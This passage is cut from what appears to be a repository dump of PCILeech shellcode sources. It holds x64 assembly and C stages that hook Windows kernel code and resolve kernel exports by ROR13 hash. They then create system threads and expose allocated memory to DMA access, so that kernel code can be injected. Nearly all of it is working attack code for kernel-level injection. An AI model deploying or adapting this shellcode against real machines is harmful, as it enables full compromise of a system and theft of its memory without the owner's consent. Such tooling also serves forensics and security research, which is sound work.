rcx\n\tPUSH rdx\n\tPUSH r8\n\tPUSH r9\n\tPUSH r12\n\tPUSH r13\n\t; ----------------------------------------------------\n\t; 2: ENSURE IRQL PASSIVE\n\t; ----------------------------------------------------\n\tCALL [addr_KeGetCurrentIrql]\n\tTEST rax, rax\n\tJNZ skipcall\n\t; ----------------------------------------------------\n\t; 3: ENSURE ATOMICITY IN THREADED ENVIRONMENTS\n\t; ----------------------------------------------------\n\tMOV al, 00h\n\tMOV dl, 01h\n\tMOV rcx, [addr_cmpxchg_flag]\n\tLOCK CMPXCHG [rcx], dl\n\tJNE skipcall\n\t; ----------------------------------------------------\n\t; 4: CALL MAIN SETUP CODE\n\t; ----------------------------------------------------\n\tCALL SetupEntryPoint\n\t; ----------------------------------------------------\n\t; 5: RESTORE AND JMP BACK\n\t; ----------------------------------------------------\n\tskipcall:\n\tPOP r13\n\tPOP r12\n\tPOP r9\n\tPOP r8\n\tPOP rdx\n\tPOP rcx\n\tPOP rax\n\tJMP [addr_orig_code]\nmain ENDP\n\nSetupEntryPoint PROC\n\tPUSH rax\t\t\t\t\t; STACK ALIGN\n\t; r12 = address of debug memory location\n\t; r13 = memory address of KMDDATA\n\tMOV r12, [addr_dbg]\n\t; ----------------------------------------------------\n\t; ALLOCATE 0x1000 CONTIGUOUS MEMORY BELOW 0x7fffffff FOR KMDDATA\n\t; ----------------------------------------------------\n\tSUB rsp, 20h\n\tMOV rcx, 1000h\n\tMOV rdx, 7fffffffh\t\n\tCALL [addr_MmAllocateContiguousMemory]\n\tADD rsp, 20h\n\tMOV r13, rax\n\tMOV byte ptr [r12], 2\t\t; DEBUG\n\tMOV [r12+16], rax\t\t\t; DEBUG\n\t; ----------------------------------------------------\n\t; GET PHYSICAL ADDRESS OF KMDDATA AND SET IT EXTERNALLY\n\t; ----------------------------------------------------\n\tSUB rsp, 20h\n\tMOV rcx, r13\n\tCALL [addr_MmGetPhysicalAddress]\n\tADD rsp, 20h\n\tMOV rcx, [addr_kmddata]\n\tMOV [rcx], rax\n\tMOV byte ptr [r12], 3\t\t; DEBUG\n\t; ----------------------------------------------------\n\t; ZERO ALLOCATED MEMORY\n\t; ----------------------------------------------------\n\tXOR rax, rax\n\tMOV ecx, 200h\n\tclear_loop:\n\tDEC ecx\n\tMOV [r13+rcx*8], rax\n\tJNZ clear_loop\n\tMOV byte ptr [r12], 4\t\t; DEBUG\n\t; ----------------------------------------------------\n\t; SET NTOSBASE IN KMDDATA\n\t; ----------------------------------------------------\n\tMOV rax, [addr_NTOSKRNL]\n\tMOV [r13+8], rax\n\tMOV byte ptr [r12], 5\t\t; DEBUG\n\t; ----------------------------------------------------\n\t; CREATE THREAD\n\t; ----------------------------------------------------\n\tPUSH rax\t\t\t\t\t; STACK ALIGN\n\tPUSH r13\t\t\t\t\t; StartContext\n\tMOV rax, [addr_JMP_DST]\n\tPUSH rax\t\t\t\t\t; StartRoutine\n\tPUSH 0\t\t\t\t\t\t; ClientId\n\tSUB rsp, 020h\n\tXOR r9, r9\t\t\t\t\t; ProcessHandle\n\tXOR r8, r8\t\t\t\t\t; ObjectAttributes\n\tMOV rdx, 1fffffh\t\t\t; DesiredAccess\n\tMOV rcx, r13\t\t\t\t; ThreadHandle\n\tCALL [addr_PsCreateSystemThread]\n\tADD rsp, 040h\n\tMOV byte ptr [r12], 6\t\t; DEBUG\n\t; ----------------------------------------------------\n\t; RETURN\n\t; ----------------------------------------------------\n\tPOP rax\t\t\t\t\t\t; STACK ALIGN\n\tRET\nSetupEntryPoint ENDP\n\nEND\n"
  },
  {
    "path": "pcileech_shellcode/wx64_stage23_vmm3.asm",
    "content": "; wx64_stage23_vmm3.asm : assembly for the WIN10_X64_3 KMD inject.\n;\n; (c) Ulf Frisk, 2020\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n\nEXTRN stage3_c_EntryPoint:NEAR\n\n.CODE\n\nmain PROC\n\t; ----------------------------------------------------\n\t; 0: INITIAL OP AND VARIABLE MEMORY LOCATIONS\n\t; ----------------------------------------------------\n\tJMP main_start \n\tdata_filler\t\t\t\t\t\tdb 00h, 00h\t\t\t\t; +002\n\toriginal_code:\n\tdata_original_code\t\t\t\tdd 44444444h, 44444444h, 44444444h, 44444444h, 44444444h\t; +004\n\taddr_data\t\t\t\t\t\tdq 1111111111111111h\t; +018\n\tpfnKeGetCurrentIrql\t\t\t\tdq 1111111111111111h\t; +020\n\tpfnPsCreateSystemThread\t\t\tdq 1111111111111111h\t; +028\n\tpfnZwClose\t\t\t\t\t\tdq 1111111111111111h\t; +030\n\tpfnMmAllocateContiguousMemory\tdq 1111111111111111h\t; +038\n\tpfnMmGetPhysicalAddress\t\t\tdq 1111111111111111h\t; +040\n\taddr_KernelBase\t\t\t\t\tdq 1111111111111111h\t; +048\n\t; ----------------------------------------------------\n\t; 1: SAVE ORIGINAL PARAMETERS\n\t; ----------------------------------------------------\nmain_start:\n\tPUSH rcx\n\tPUSH rdx\n\tPUSH r8\n\tPUSH r9\n\tPUSH r10\n\tPUSH r11\n\tPUSH r12\n\tPUSH r13\n\tPUSH r14\n\tPUSH r15\n\tPUSH rdi\n\tPUSH rsi\n\tPUSH rbx\n\tPUSH rbp\n\tSUB rsp, 020h\n\t; ----------------------------------------------------\n\t; CHECK CURRENT IRQL - ONLY IRQL PASSIVE (0) ALLOWED\n\t; ----------------------------------------------------\n\tCALL [pfnKeGetCurrentIrql]\n\tTEST rax, rax\n\tJNZ skipcall\n\t; ----------------------------------------------------\n\t; ENSURE ATOMICITY IN THREADED ENVIRONMENTS\n\t; ----------------------------------------------------\n\tMOV al, 00h\n\tMOV dl, 01h\n\tMOV rcx, addr_data\n\tLOCK CMPXCHG [rcx], dl\n\tJNE skipcall\n\t; ----------------------------------------------------\n\t; CREATE THREAD\n\t; ----------------------------------------------------\n\tPUSH r12\t\t\t\t\t; StartContext\n\tLEA rax, setup2\n\tPUSH rax\t\t\t\t\t; StartRoutine\n\tPUSH 0\t\t\t\t\t\t; ClientId\n\tSUB rsp, 020h\t\t\t\t; (stack shadow space)\n\tXOR r9, r9\t\t\t\t\t; ProcessHandle\n\tXOR r8, r8\t\t\t\t\t; ObjectAttributes\n\tMOV rdx, 1fffffh\t\t\t; DesiredAccess\n\tMOV rcx, addr_data\t\t\t; ThreadHandle\n\tADD rcx, 8\n\tCALL [pfnPsCreateSystemThread]\n\tADD rsp, 038h\n\t; ----------------------------------------------------\n\t; CLOSE THREAD HANDLE\n\t; ----------------------------------------------------\n\tSUB rsp, 038h\t\t\t\t; (stack shadow space + align)\n\tMOV rcx, addr_data\t\t\t; ThreadHandle\n\tMOV rcx, [rcx+8]\n\tCALL [pfnZwClose]\n\tADD rsp, 038h\n\t; ----------------------------------------------------\n\t; EXIT - RESTORE AND JMP BACK\n\t; ----------------------------------------------------\nskipcall:\n\tADD rsp, 020h\n\tPOP rbp\n\tPOP rbx\n\tPOP rsi\n\tPOP rdi\n\tPOP r15\n\tPOP r14\n\tPOP r13\n\tPOP r12\n\tPOP r11\n\tPOP r10\n\tPOP r9\n\tPOP r8\n\tPOP rdx\n\tPOP rcx\n\tJMP original_code\nmain ENDP\n\n; ----------------------------------------------------\n; New Thread entry point. Allocate memory and write back\n; the physical address so PCILeech may read it with DMA.\n; ----------------------------------------------------\nsetup2 PROC\n\t; ----------------------------------------------------\n\t; SET UP STACK SHADOW SPACE (REQUIRED FOR SOME FUNCTION CALLS)\n\t; ----------------------------------------------------\n\tPUSH rbp\n\tMOV rbp, rsp\n\tSUB rsp, 020h\n\t; ----------------------------------------------------\n\t; ALLOCATE 0x1000 CONTIGUOUS MEMORY BELOW 0x7fffffff\n\t; ----------------------------------------------------\n\tMOV rcx, 1000h\n\tMOV rdx, 7fffffffh\n\tCALL [pfnMmAllocateContiguousMemory]\n\tMOV r13, rax\n\t; ----------------------------------------------------\n\t; ZERO ALLOCATED MEMORY\n\t; ----------------------------------------------------\n\tXOR rax, rax\n\tMOV ecx, 200h\n\tclear_loop:\n\tDEC ecx\n\tMOV [r13+rcx*8], rax\n\tJNZ clear_loop\n\t; ----------------------------------------------------\n\t; WRITE PHYSICAL MEMORY ADDRESS\n\t; ----------------------------------------------------\n\tMOV rcx, r13\n\tCALL [pfnMmGetPhysicalAddress]\n\tMOV rcx, addr_data\n\tMOV [rcx+01ch], eax\n\t; ----------------------------------------------------\n\t; SET PKMDDATA->AddrKernelBase\n\t; ----------------------------------------------------\n\tMOV rax, addr_KernelBase\n\tMOV [r13+8], rax\n\t; ----------------------------------------------------\n\t; CALL C-ENTRYPOINT\n\t; ----------------------------------------------------\n\tMOV rcx, r13\n\tCALL stage3_c_EntryPoint\n\t; ----------------------------------------------------\n\t; RETURN\n\t; ----------------------------------------------------\n\tADD rsp, 028h\n\tXOR rax, rax\n\tRET\nsetup2 ENDP\n\nEND\n"
  },
  {
    "path": "pcileech_shellcode/wx64_stage2_hal.asm",
    "content": "; wx64_stage2.asm : assembly modified for the hal.dll heap injection technique.\n;\n; (c) Ulf Frisk, 2016, 2017\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n\n.CODE\n\nmain PROC\n\t; ----------------------------------------------------\n\t; INITIAL OP AND VARIABLE MEMORY LOCATIONS\n\t; ----------------------------------------------------\n\tJMP main_start \n\tdata_cmpxchg_flag\t\tdb 00h\n\tdata_filler\t\t\t\tdb 00h\n\tdata_phys_addr_alloc\tdd 00000000h\t\t\t\t\t\t; 04h byte offset (4 bytes long)\n\tdata_orig_fnptr\t\t\tdq 0000000000000000h\t\t\t\t; 08h byte offset (8 bytes long)\n\tdata_orig_fnptraddr\t\tdq 0000000000000000h\t\t\t\t; 10h byte offset (8 bytes long)\n\tdata_thread_handle\t\tdq 0000000000000000h\t\t\t\t; 18h byte offset (8 bytes long)\n\t; ----------------------------------------------------\n\t; SAVE ORIGINAL PARAMETERS\n\t; ----------------------------------------------------\n\tmain_start:\n\tPUSH rcx\n\tPUSH rdx\n\tPUSH r8\n\tPUSH r9\n\tPUSH rbx\n\tPUSH rsi\n\tPUSH rdi\n\tPUSH r10\n\tPUSH r11\n\tPUSH r12\n\tPUSH r13\n\tSUB rsp, 020h\n\t; ----------------------------------------------------\n\t; r12 = ntos base address\n\t; r13 = PsCreateSystemThread address\n\t; ----------------------------------------------------\n\t; SET UP STACK AND PARAMETERS\n\t; param0 = address of NTOS code. First entry of\n\t; IDT table = division by zero points into NTOSKRNL\n\t; ----------------------------------------------------\n\tSIDT [rsp]\n\tMOV rcx, [rsp+2]       \n\tMOV rcx, [rcx+4]                ; param0\n\t; ----------------------------------------------------\n\t; FETCH NTOS BASE ADDRESS\n\t; ----------------------------------------------------\n\tCALL PEGetModuleFromAddress_ScanBack\n\tMOV r12, rax\n\t; ----------------------------------------------------\n\t; CHECK CURRENT IRQL - ONLY IRQL PASSIVE (0) ALLOWED\n\t; ----------------------------------------------------\n\tMOV rcx, r12\n\tMOV edx, 4d90adceh\t\t\t; H_KeGetCurrentIrql\n\tCALL PEGetProcAddressH\n\tCALL rax\n\tTEST rax, rax\n\tJNZ skipcall\n\t; ----------------------------------------------------\n\t; ENSURE ATOMICITY IN THREADED ENVIRONMENTS\n\t; ----------------------------------------------------\n\tMOV al, 00h\n\tMOV dl, 01h\n\tLOCK CMPXCHG [data_cmpxchg_flag], dl\n\tJNE skipcall\n\t; ----------------------------------------------------\n\t; REMOVE HOOK\n\t; ----------------------------------------------------\n\tMOV rax, [data_orig_fnptraddr]\n\tMOV rcx, [data_orig_fnptr]\n\tMOV [rax], rcx\n\t; ----------------------------------------------------\n\t; CREATE THREAD\n\t; ----------------------------------------------------\n\tMOV rcx, r12\n\tMOV edx, 94a06b02h\t\t\t; H_PsCreateSystemThread\n\tCALL PEGetProcAddressH\n\tMOV r13, rax\t\t\t\t; PsCreateSystemThread address\n\tPUSH 0\t\t\t\t\t\t; (dummy for stack alignment)\n\tPUSH r12\t\t\t\t\t; StartContext\n\tLEA rax, setup2\n\tPUSH rax\t\t\t\t\t; StartRoutine\n\tPUSH 0\t\t\t\t\t\t; ClientId\n\tSUB rsp, 020h\t\t\t\t; (stack shadow space)\n\tXOR r9, r9\t\t\t\t\t; ProcessHandle\n\tXOR r8, r8\t\t\t\t\t; ObjectAttributes\n\tMOV rdx, 1fffffh\t\t\t; DesiredAccess\n\tLEA rcx, data_thread_handle\t; ThreadHandle\n\tCALL r13\n\tADD rsp, 040h\n\t; ----------------------------------------------------\n\t; EXIT - RESTORE AND JMP BACK\n\t; ----------------------------------------------------\n\tskipcall:\n\tADD rsp, 020h\n\tPOP r13\n\tPOP r12\n\tPOP r11\n\tPOP r10\n\tPOP rdi\n\tPOP rsi\n\tPOP rbx\n\tPOP r9\n\tPOP r8\n\tPOP rdx\n\tPOP rcx\n\tMOV rax, [data_orig_fnptr]\n\tJMP rax\nmain ENDP\n\n; ----------------------------------------------------\n; New Thread entry point. Allocate memory, write pre-stage3 code and write back\n; the physical address so PCILeech may read it with DMA.\n; rcx -> virtual address base of kernel\n; r12 :: virtual address base of kernel\n; r13 :: virtual address buffer\n; ----------------------------------------------------\nsetup2 PROC\n\t; ----------------------------------------------------\n\t; SET UP STACK SHADOW SPACE (REQUIRED FOR SOME FUNCTION CALLS)\n\t; ----------------------------------------------------\n\tPUSH rbp\n\tMOV rbp, rsp\n\tSUB rsp, 020h\n\t; ----------------------------------------------------\n\t; ALLOCATE 0x2000 CONTIGUOUS MEMORY BELOW 0x7fffffff\n\t; ----------------------------------------------------\n\tMOV r12, rcx\n\tMOV edx, 9f361ebch\t\t\t; H_MmAllocateContiguousMemory\n\tCALL PEGetProcAddressH\n\tMOV rcx, 2000h\n\tMOV rdx, 7fffffffh\n\tCALL rax\n\tMOV r13, rax\n\t; ----------------------------------------------------\n\t; ZERO ALLOCATED MEMORY\n\t; ----------------------------------------------------\n\tXOR rax, rax\n\tMOV ecx, 400h\n\tclear_loop:\n\tDEC ecx\n\tMOV [r13+rcx*8], rax\n\tJNZ clear_loop\n\t; ----------------------------------------------------\n\t; SET UP INITIAL STAGE3 SHELLCODE AND DATA\n\t; ----------------------------------------------------\n\tMOV rax, r12\n\tMOV [r13+8], rax\n\tMOV rax, 048FFFFFFF1058D48h\n\tMOV [r13+1000h], rax\n\tMOV rax, 0F07400F88348008Bh\n\tMOV [r13+1008h], rax\n\t; ----------------------------------------------------\n\t; WRITE PHYSICAL MEMORY ADDRESS\n\t; ----------------------------------------------------\n\tMOV rcx, r12\n\tMOV edx, 5a326357h\t\t\t; H_MmGetPhysicalAddress\n\tCALL PEGetProcAddressH\t\n\tMOV rcx, r13\n\tCALL rax\n\tMOV [data_phys_addr_alloc], eax\n\t; ----------------------------------------------------\n\t; JMP INTO ALLOCATED AREA\n\t; ----------------------------------------------------\n\tMOV rsp, rbp\n\tPOP rbp\n\tADD r13, 1000h\n\tJMP r13\nsetup2 ENDP\n\n; ----------------------------------------------------\n; Perform ROR13 hashing\n; rcx -> string ptr\n; rax <- result\n; ----------------------------------------------------\nHashROR13A PROC\n\tPUSH rsi\n\tPUSH rdi\n\tMOV rsi, rcx\n\tXOR rdi, rdi\n\tXOR rax, rax\n\tCLD\n\thash_loop:\n\tLODSB\n\tTEST al, al\n\tJZ hash_loop_finish\n\tROR edi, 13\n\tADD edi, eax\n\tJMP hash_loop\n\thash_loop_finish:\n\tMOV eax, edi\n\tPOP rdi\n\tPOP rsi\n\tRET\nHashROR13A ENDP\n\n; ----------------------------------------------------\n; Search for PE header given an address. May cause page faults.\n; rcx -> scan address\n; rax <- header address\n; ----------------------------------------------------\nPEGetModuleFromAddress_ScanBack PROC\n\tSHR rcx, 12\n\tSHL rcx, 12\n\taddress_loop:\n\tMOV eax, 1000h\n\tSUB rcx, rax\n\tMOV ax, [rcx]\t\t; dos header magic\n\tCMP ax, 5a4dh\n\tJNE address_loop\n\tMOV eax, [rcx+60]\t; nt header address offset\n\tCMP eax, 1000h\n\tJNBE address_loop\n\tADD rax, rcx\t\t; nt header address\n\tMOV eax, [rax]\n\tCMP eax, 00004550h\t; nt header magic\n\tJNE address_loop\n\tMOV rax, rcx\n\tRET\nPEGetModuleFromAddress_ScanBack ENDP\n\n; rcx -> module base address\n; rdx -> hash of exported function\n; rax <- address of exported function\nPEGetProcAddressH PROC\n\t; rdi = PIMAGE_EXPORT_DIRECTORY\n\t; rsi = counter NumberOfNames\n\tPUSH rdi\n\tPUSH rsi\n\tMOV edi, [rcx+60]\t; nt header address offset\n\tMOV edi, [rdi+rcx+136]\n\tADD rdi, rcx\t\t; ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + hModule  \n\tMOV r8d, [rdi+24]\t; PIMAGE_EXPORT_DIRECTORY->NumberOfNames\n\tXOR rsi, rsi\n\tfind_loop:\n\tMOV eax, [rdi+32]\t\t\t; PIMAGE_EXPORT_DIRECTORY->AddressOfNames\n\tADD rax, rcx\t\t\t\t; PIMAGE_EXPORT_DIRECTORY->AddressOfNames + hModule\n\tMOV eax, [rax+rsi*4]\t\t; AddressOfNames[index]\n\tADD rax, rcx\n\tPUSH rcx\n\tMOV rcx, rax\n\tCALL HashROR13A\n\tPOP rcx\n\tCMP eax, edx\n\tJE find_loop_found\n\tINC rsi\n\tJMP find_loop\n\tfind_loop_found:\n\t; found!\n\tMOV edx, [rdi+36]\t\t; PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals\n\tADD rdx, rcx\t\t\t; PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals + hModule\n\tXOR rax, rax\n\tMOV ax, [rdx+rsi*2]\t\t; AddressOfNameOrdinals[index]\n\tMOV edx, [rdi+28]\t\t; PIMAGE_EXPORT_DIRECTORY->AddressOfFunctions \n\tADD rdx, rcx\t\t\t; PIMAGE_EXPORT_DIRECTORY->AddressOfFunctions + hModule\n\tMOV eax, [rdx+rax*4]\t; AddressOfFunctions[index]\n\tADD rax, rcx\t\t\t; AddressOfFunctions[index] + hModule\n\tPOP rsi\n\tPOP rdi\n\tRET\nPEGetProcAddressH ENDP\n\nEND\n"
  },
  {
    "path": "pcileech_shellcode/wx64_stage3.asm",
    "content": "; wx64_stage3.asm : assembly to receive execution from stage2 shellcode.\n;\n; (c) Ulf Frisk, 2016\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n\nEXTRN stage3_c_EntryPoint:NEAR\n\n.CODE\n\nmain PROC\n\t; ----------------------------------------------------\n\t; 1: SAME INITIAL BYTE SEQUENCE AS wx64_stage3_pre.asm\n\t; ----------------------------------------------------\n\tlabel_main_base:\n\tLEA rax, label_main_base-8h\n\tMOV rax, [rax]\n\tCMP rax, 0\n\tJZ label_main_base\n\t; ----------------------------------------------------\n\t; 2: CALL C CODE\n\t; ----------------------------------------------------\n\tLEA rcx, label_main_base - 1000h ; address of data page in parameter 1\n\tPUSH rsi\n\tMOV rsi, rsp\n\tAND rsp, 0FFFFFFFFFFFFFFF0h\n\tSUB rsp, 020h\n\tCALL stage3_c_EntryPoint\n\tMOV rsp, rsi\n\tPOP rsi\n\tRET\nmain ENDP\n\nEND\n"
  },
  {
    "path": "pcileech_shellcode/wx64_stage3_c.c",
    "content": "// wx64_stage3_c.c : stage3 main shellcode.\n//\n// (c) Ulf Frisk, 2016, 2017\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include <windows.h>\n#pragma warning( disable : 4047 4055 4127)\n\ntypedef unsigned __int64\t\tQWORD, *PQWORD;\ntypedef __int64\t\t\t\t\tPHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;\n\n// ----------------------------- KERNEL DEFINES AND TYPEDEFS BELOW -----------------------------\n\ntypedef struct _CLIENT_ID {\n\tHANDLE UniqueProcess;\n\tHANDLE UniqueThread;\n} CLIENT_ID;\ntypedef CLIENT_ID *PCLIENT_ID;\n\ntypedef _IRQL_requires_same_ _Function_class_(KSTART_ROUTINE) VOID KSTART_ROUTINE(\n\t_In_ PVOID StartContext\n\t);\ntypedef KSTART_ROUTINE *PKSTART_ROUTINE;\n\ntypedef struct _UNICODE_STRING {\n\tUSHORT Length;\n\tUSHORT MaximumLength;\n\t_Field_size_bytes_part_(MaximumLength, Length) PWCH   Buffer;\n} UNICODE_STRING;\ntypedef UNICODE_STRING *PUNICODE_STRING;\n\ntypedef struct _OBJECT_ATTRIBUTES {\n\tULONG Length;\n\tHANDLE RootDirectory;\n\tPUNICODE_STRING ObjectName;\n\tULONG Attributes;\n\tPVOID SecurityDescriptor;\n\tPVOID SecurityQualityOfService;\n} OBJECT_ATTRIBUTES;\ntypedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;\ntypedef CONST OBJECT_ATTRIBUTES *PCOBJECT_ATTRIBUTES;\n\ntypedef enum _MEMORY_CACHING_TYPE {\n\tMmNonCached = 0,\n\tMmCached = 1,\n\tMmWriteCombined = 2,\n\tMmHardwareCoherentCached = 3,\n\tMmNonCachedUnordered = 4,\n\tMmUSWCCached = 5,\n\tMmMaximumCacheType = 6\n} MEMORY_CACHING_TYPE;\n\ntypedef struct _PHYSICAL_MEMORY_RANGE {\n\tPHYSICAL_ADDRESS BaseAddress;\n\tLARGE_INTEGER NumberOfBytes;\n} PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE;\n\ntypedef enum _MODE {\n\tKernelMode,\n\tUserMode,\n\tMaximumMode\n} MODE;\n\n// ----------------------------- ROR13 HASHES BELOW -----------------------------\n\n#define H_ExFreePool\t\t\t\t\t\t\t0x9d489d1f\n#define H_MmAllocateContiguousMemory\t\t\t0x9f361ebc\n#define H_MmFreeContiguousMemory\t\t\t\t0x1345f592\n#define H_MmGetPhysicalAddress\t\t\t\t\t0x5a326357\n#define H_MmGetPhysicalMemoryRanges\t\t\t\t0x4977a56f\n#define H_MmMapIoSpace\t\t\t\t\t\t\t0x05ddbef9\n#define H_MmUnmapIoSpace\t\t\t\t\t\t0x6c6ec5c9\n#define H_PsCreateSystemThread\t\t\t\t\t0x94a06b02\n#define H_RtlCopyMemory\t\t\t\t\t\t\t0xcf64979b\n#define H_RtlZeroMemory\t\t\t\t\t\t\t0xc53d4fdb\n#define H_ZwProtectVirtualMemory\t\t\t\t0xbc3f4d89\n#define H_KeDelayExecutionThread\t\t\t\t0x58586d92\n\n// ----------------------------- SHELLCODE DEFINES AND TYPEDEFS BELOW (STAGE2) -----------------------------\n\n#undef RtlCopyMemory\ntypedef struct tdNTOS {\n\tVOID(*ExFreePool)(\n\t\t_In_ PVOID P\n\t\t);\n\tVOID(*MmFreeContiguousMemory)(\n\t\t_In_ PVOID BaseAddress\n\t\t);\n\tPVOID(*MmAllocateContiguousMemory)(\n\t\t_In_ SIZE_T NumberOfBytes,\n\t\t_In_ PHYSICAL_ADDRESS HighestAcceptableAddress\n\t\t);\n\tPHYSICAL_ADDRESS(*MmGetPhysicalAddress)(\n\t\t_In_ PVOID BaseAddress\n\t\t);\n\tPPHYSICAL_MEMORY_RANGE(*MmGetPhysicalMemoryRanges)(\n\t\tVOID\n\t\t);\n\tPVOID(*MmMapIoSpace)(\n\t\t_In_  PHYSICAL_ADDRESS    PhysicalAddress,\n\t\t_In_  SIZE_T              NumberOfBytes,\n\t\t_In_  MEMORY_CACHING_TYPE CacheType\n\t\t);\n\tVOID(*MmUnmapIoSpace)(\n\t\t_In_  PVOID  BaseAddress,\n\t\t_In_  SIZE_T NumberOfBytes\n\t\t);\n\tNTSTATUS(*PsCreateSystemThread)(\n\t\t_Out_      PHANDLE            ThreadHandle,\n\t\t_In_       ULONG              DesiredAccess,\n\t\t_In_opt_   POBJECT_ATTRIBUTES ObjectAttributes,\n\t\t_In_opt_   HANDLE             ProcessHandle,\n\t\t_Out_opt_  PCLIENT_ID         ClientId,\n\t\t_In_       PKSTART_ROUTINE    StartRoutine,\n\t\t_In_opt_   PVOID              StartContext\n\t\t);\n\tVOID(*RtlCopyMemory)(\n\t\t_Out_       VOID UNALIGNED *Destination,\n\t\t_In_  const VOID UNALIGNED *Source,\n\t\t_In_        SIZE_T         Length\n\t\t);\n\tNTSTATUS(*ZwProtectVirtualMemory)(\n\t\t_In_ HANDLE ProcessHandle,\n\t\t_Inout_ PVOID *BaseAddress,\n\t\t_Inout_ PSIZE_T RegionSize,\n\t\t_In_ ULONG NewProtect,\n\t\t_Out_ PULONG OldProtect\n\t\t);\n\tNTSTATUS(*KeDelayExecutionThread)(\n\t\t_In_ MODE            WaitMode,\n\t\t_In_ BOOLEAN         Alertable,\n\t\t_In_ PINT64          pllInterval_Neg100ns\n\t\t);\n\tQWORD ReservedFutureUse[21];\n} NTOS, *PNTOS;\n\n#define KMDDATA_OPERATING_SYSTEM_WINDOWS\t\t0x01\n\n/*\n* KMD DATA struct. This struct must be contained in a 4096 byte section (page).\n* This page/struct is used to communicate between the inserted kernel code and\n* the pcileech program.\n* VNR: 003\n*/\ntypedef struct tdKMDDATA {\n\tQWORD MAGIC;\t\t\t\t\t// [0x000] magic number 0x0ff11337711333377.\n\tQWORD AddrKernelBase;\t\t\t// [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS).\n\tQWORD AddrKallsymsLookupName;\t// [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX).\n\tQWORD DMASizeBuffer;\t\t\t// [0x018] size of DMA buffer.\n\tQWORD DMAAddrPhysical;\t\t\t// [0x020] physical address of DMA buffer.\n\tQWORD DMAAddrVirtual;\t\t\t// [0x028] virtual address of DMA buffer.\n\tQWORD _status;\t\t\t\t\t// [0x030] status of operation\n\tQWORD _result;\t\t\t\t\t// [0x038] result of operation TRUE|FALSE\n\tQWORD _address;\t\t\t\t\t// [0x040] address to operate on.\n\tQWORD _size;\t\t\t\t\t// [0x048] size of operation / data in DMA buffer.\n\tQWORD OperatingSystem;\t\t\t// [0x050] operating system type\n\tQWORD ReservedKMD[8];\t\t\t// [0x058] reserved for specific kmd data (dependant on KMD version).\n\tQWORD ReservedFutureUse1[13];\t// [0x098] reserved for future use.\n\tQWORD dataInExtraLength;\t\t// [0x100] length of extra in-data.\n\tQWORD dataInExtraOffset;\t\t// [0x108] offset from DMAAddrPhysical/DMAAddrVirtual.\n\tQWORD dataInExtraLengthMax;\t\t// [0x110] maximum length of extra in-data. \n\tQWORD dataInConsoleBuffer;\t\t// [0x118] physical address of 1-page console buffer.\n\tQWORD dataIn[28];\t\t\t\t// [0x120]\n\tQWORD dataOutExtraLength;\t\t// [0x200] length of extra out-data.\n\tQWORD dataOutExtraOffset;\t\t// [0x208] offset from DMAAddrPhysical/DMAAddrVirtual.\n\tQWORD dataOutExtraLengthMax;\t// [0x210] maximum length of extra out-data. \n\tQWORD dataOutConsoleBuffer;\t\t// [0x218] physical address of 1-page console buffer.\n\tQWORD dataOut[28];\t\t\t\t// [0x220]\n\tNTOS fn;\t\t\t\t\t\t// [0x300] used by shellcode to store function pointers.\n\tCHAR dataInStr[MAX_PATH];\t\t// [0x400] string in-data\n\tCHAR ReservedFutureUse2[252];\n\tCHAR dataOutStr[MAX_PATH];\t\t// [0x600] string out-data\n\tCHAR ReservedFutureUse3[252];\n\tQWORD ReservedFutureUse4[255];\t// [0x800]\n\tQWORD _op;\t\t\t\t\t\t// [0xFF8] (op is last 8 bytes in 4k-page)\n} KMDDATA, *PKMDDATA;\n\nVOID stage3_c_MainCommandLoop(PKMDDATA pk);\n\n// ----------------------------- SHELLCODE FUNCTIONS BELOW (STAGE2) -----------------------------\n\nDWORD HashROR13A(_In_ LPCSTR sz)\n{\n\tDWORD dwVal, dwHash = 0;\n\twhile(*sz) {\n\t\tdwVal = (DWORD)*sz++;\n\t\tdwHash = (dwHash >> 13) | (dwHash << 19);\n\t\tdwHash += dwVal;\n\t}\n\treturn dwHash;\n}\n\n/*\n* Lookup a function and return it, if found.\n* -- hModule\n* -- dwProcNameH\n* -- return\n*/\nQWORD PEGetProcAddressH(_In_ QWORD hModule, _In_ DWORD dwProcNameH)\n{\n\tPDWORD pdwRVAAddrNames, pdwRVAAddrFunctions;\n\tPWORD pwNameOrdinals;\n\tDWORD i, dwFnIdx, dwHash;\n\tLPSTR sz;\n\tPIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule; // dos header.\n\tPIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)(hModule + dosHeader->e_lfanew); // nt header\n\tPIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + hModule);\n\tpdwRVAAddrNames = (PDWORD)(hModule + exp->AddressOfNames);\n\tpwNameOrdinals = (PWORD)(hModule + exp->AddressOfNameOrdinals);\n\tpdwRVAAddrFunctions = (PDWORD)(hModule + exp->AddressOfFunctions);\n\tfor(i = 0; i < exp->NumberOfNames; i++) {\n\t\tsz = (LPSTR)(hModule + pdwRVAAddrNames[i]);\n\t\tdwHash = HashROR13A(sz);\n\t\tif(dwHash == dwProcNameH) {\n\t\t\tdwFnIdx = pwNameOrdinals[i];\n\t\t\tif(dwFnIdx >= exp->NumberOfFunctions) { return 0; }\n\t\t\treturn hModule + pdwRVAAddrFunctions[dwFnIdx];\n\t\t}\n\t}\n\treturn 0;\n}\n\n/*\n* C entry point of the stage3 code.\n*/\nVOID stage3_c_EntryPoint(PKMDDATA pk)\n{\n\tpk->MAGIC = 0x0ff11337711333377;\n\tpk->OperatingSystem = KMDDATA_OPERATING_SYSTEM_WINDOWS;\n\tDWORD i = 0, NAMES[32];\n\tNAMES[i++] = H_ExFreePool;\n\tNAMES[i++] = H_MmFreeContiguousMemory;\n\tNAMES[i++] = 